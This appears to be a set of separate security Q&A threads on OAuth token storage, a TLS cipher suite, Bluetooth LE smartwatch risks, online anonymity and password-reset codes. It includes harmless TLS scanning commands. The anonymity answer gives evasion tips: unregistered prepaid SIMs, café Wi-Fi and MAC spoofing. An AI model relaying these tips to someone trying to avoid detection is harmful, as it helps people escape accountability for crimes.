How to store user credentials in a web application? I use the Twitter API in my app. I used to store the OAuth 2 tokens of the associated Twitter account within an application config.

But now the application's users have to be able, using the web interface, to associate any number of twitter accounts, and therefore their credentials.

What would be a good way to store all the credentials?

As described on Twitter's API OAuth doc, the user's Twitter credentials should not be needed.  In other words, when you first connect your user to their Twitter account you should launch a Twitter page that grants your application access to their Twitter information.  If the user is not already signed onto Twitter, through the Twitter page, they will enter their Twitter credentials.  This keeps the Twitter credentials safe from you.  In turn, you should have a token for your application that you keep very secure (encrypted on your site or in your application) and a token for each Twitter user that has agreed to allow your application to have access.  When accessing Twitter, you use the application token to confirm who you are and the user token to confirm who the user is.  As long as you store both of these in a secure location nobody should be able to spoof access.

Most people will do this by storing an application token with (or in) an application config file and the Twitter user tokens in a database.  Here are additional security steps for this setup:

Store the config file and database separately.  For example, store the config file on a web server and store the database on a database server.  This makes access to these two key pieces of data harder to obtain.  Unfortunately it does mean you need to servers (or VMs . . . or containers).
Rotate the application token on a regular basis (just as you might rotate a password or PIN.
Only ask Twitter for your token to be able to access the bare minimum of what you need.  This way if there is a security breach they have limited access to your user's Twitter accounts.
Secure the servers that store the token and database as best you can.


TLS version of cipher suite TLS_DHE_RSA_WITH_AES_256_CBC_SHA I have a question related to the cipher suite TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039).

It is first mentioned in RFC3268 in 2002. The highest available TLS version in 2002 was TLS 1.0 (RFC 2246). Thus RFC3268 was an extention which provided new cipher suites to TLS 1.0. The mentioned cipher suite is also listed in RFC4346 (TLS 1.1) and RFC5246 (TLS 1.2).

I was running different tools to check the cipher suite. First openssl s_client:

$ openssl s_client -cipher DHE-RSA-AES256-SHA -connect www.uni-luebeck.de:443
...
Protocol  : TLSv1.2
Cipher    : DHE-RSA-AES256-SHA
...

And with nmap:

nmap --script ssl-enum-ciphers -p 443 www.uni-luebeck.de | grep "ciphers\|TLSv\|TLS_DHE_RSA_WITH_AES_256_CBC_SHA"
| ssl-enum-ciphers:
|   SSLv3: No supported ciphers found
|   TLSv1.0:
|     ciphers:
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|   TLSv1.1:
|     ciphers:
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|   TLSv1.2:
|     ciphers:
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong

Checking the same cipher suite with openssl ciphers returns SSLv3, which seems wrong to me:

$ openssl ciphers -V | grep 0x39
0x00,0x39 - DHE-RSA-AES256-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA1

OpenSSL has only three categories of 'cipher' for SSL/TLS (really ciphersuite, and not to be confused with EVP named ciphers used among other things in openssl enc which are quite different):

SSLv2 uses the SSL2 encoding (3 bytes) and is usable only in SSLv2 (which of course you shouldn't use at all, and by default is #if'ed out at compile time in recent versions)
SSLv3 which uses the SSL3 encoding (2 bytes, which is the same for TLS1.0 through 1.2) and the record formats defined in SSL3 (GenericStream and GenericBlock which is actually CBC) which are essentially unchanged in TLS1.0 through 1.2 (except 1.1 and up fixes the exposed-IV problem reported by Vaudenay and exploited by BEAST)
TLSv1.2 which uses the same encoding as SSL3 but the record format for AEAD (update) or HMAC-SHA2 which both exist only in TLS1.2

As a result of this categorization, OpenSSL supports using the export cipher suites in TLS1.1 and 1.2 even though 4346 officially deleted them (along with the special export KDF), and the single-DES and IDEA suites in TLS1.2 even though 5246 officially 'deprecated' them -- but only if they are supported at all (which in recent versions most aren't by default) and only if the peer agrees (which most won't).


Are smart watches secure? My Pebble smartwatch, like many (most?) other smart watches, uses Bluetooth Low Energy (Bluetooth Smart, BLE, BTLE, etc) to communicate with my smart phone.

There's some security in the link, including authentication, data encryption, and signing, however last summer researchers suggested an attack that appears to compromise the encryption.

I have email sender names and subjects, phone numbers and names, and other data sent to my watch over this link, further this link allows me to query my smart phone and to some degree control it.  Most worrying, I typically act on the information it provides, so if incorrect information was sent, such as an emergency text from a loved one, it can be a way to control me to some degree.

The impact of this particular attack isn't immediately clear to me, can someone help break it down for me?

I'd like to know if there are any simple steps I can take that will prevent this attack.  If not, I may need to discontinue use of it until security is improved.

Are there other attacks I should be aware of for Bluetooth Smart?

The attack you mention isn't really all that scary or surprising.  It doesn't actually attack the encryption used by the devices, but rather the pairing process.  When you pair a bluetooth device, an encryption key has to be exchanged.  This is done by deriving an AES key from a PIN number.  They effectively try all pin numbers against a recorded pairing session in order to recover the AES key that is used long term.

If you establish the pairing for your device securely (in an environment free from attackers), then this attack will be useless, as once the encryption key is exchanged during pairing, it is used for future updates and the key exchange doesn't have to be repeated.

I would rate this vulnerability as very low chance of issue.  It could have been avoided pretty trivially by having client and server each choose half of the key for the exchange, but it isn't a huge deal.


How to remain 100% anonymous on the internet? I was searching for methods or tools to remain completely anonymous on the Internet. Tor came up, but it is seems that it is far from perfect. Are there any 100% foolproof ways, or approximately 100% foolproof ways? I suspect that 100% may be possible. How else do some cyber criminals behind big crimes never get caught?

This is what I've read about Tor so far:
Tor Weaknesses (Wikipedia)
Is Tor actually anonymous, and how to use it

My main goal is to prevent detection of my IP.

There is a geeky possibility to use a prepaid card (SIM) and connect
it with a mobile HSDPA dongle i.e Huawei_E220 and also you can check the section Privacy rights and prepaid mobile phones for Prepaid Mobile Phone. If you buy everything without registering you can have access to the world wide web anonymously. Because this is a known problem against cyber crime and other criminal activities it is not allowed in some countries to use such an unregistered prepaid card.
Another possibility is to use an open WI-Fi. For example in an
internet café. The operating system must be available without any
registration like Linux. The MAC-Adress of the Network-WiFi card in
the computer which is visible in the WI-Fi network must be changed
(this is easy possible in Linux)
If you want to do some research about the Tor network you can try the Linux distribution Tails where everything is setup right (for example the flash player would use another channel which goes not through the Tor network.) Which means if you are using the flash player while browsing with Tor, the data packages for the flash-player will communicate with your real IP address and goes not through the Tor-nodes. Tails Webiste


Security measures for "Forgot password" link I noticed that Facebook sends out a "Forgot password" code of six digits, which is very short for a validation code, so I assume they are doing the following:

Set a session variable which is linked to the code so no other clients can use the same code
Possibly also, set maximum number of attempts of entering the correct code

I have two questions:

Is the above the best way to do "Forgot password" links?
Is an alternative not to set a session variable nor restrict attempts, but simply increase the length of the code so that brute force becomes impossible? How long would this code have to be, then? Or is this considered vastly insecure?

EDIT: The Facebook code is optionally sent to your mobile phone to be punched in manually on your computer, which must be the reason why they chose to keep it short.

They usually restrict the length of time that the code is valid. This is possibly the key security feature.

It is actually relatively safe. An attacker is not going to be able to brute force, as it will time out or overdo attempts, so they would need to compromise the email account.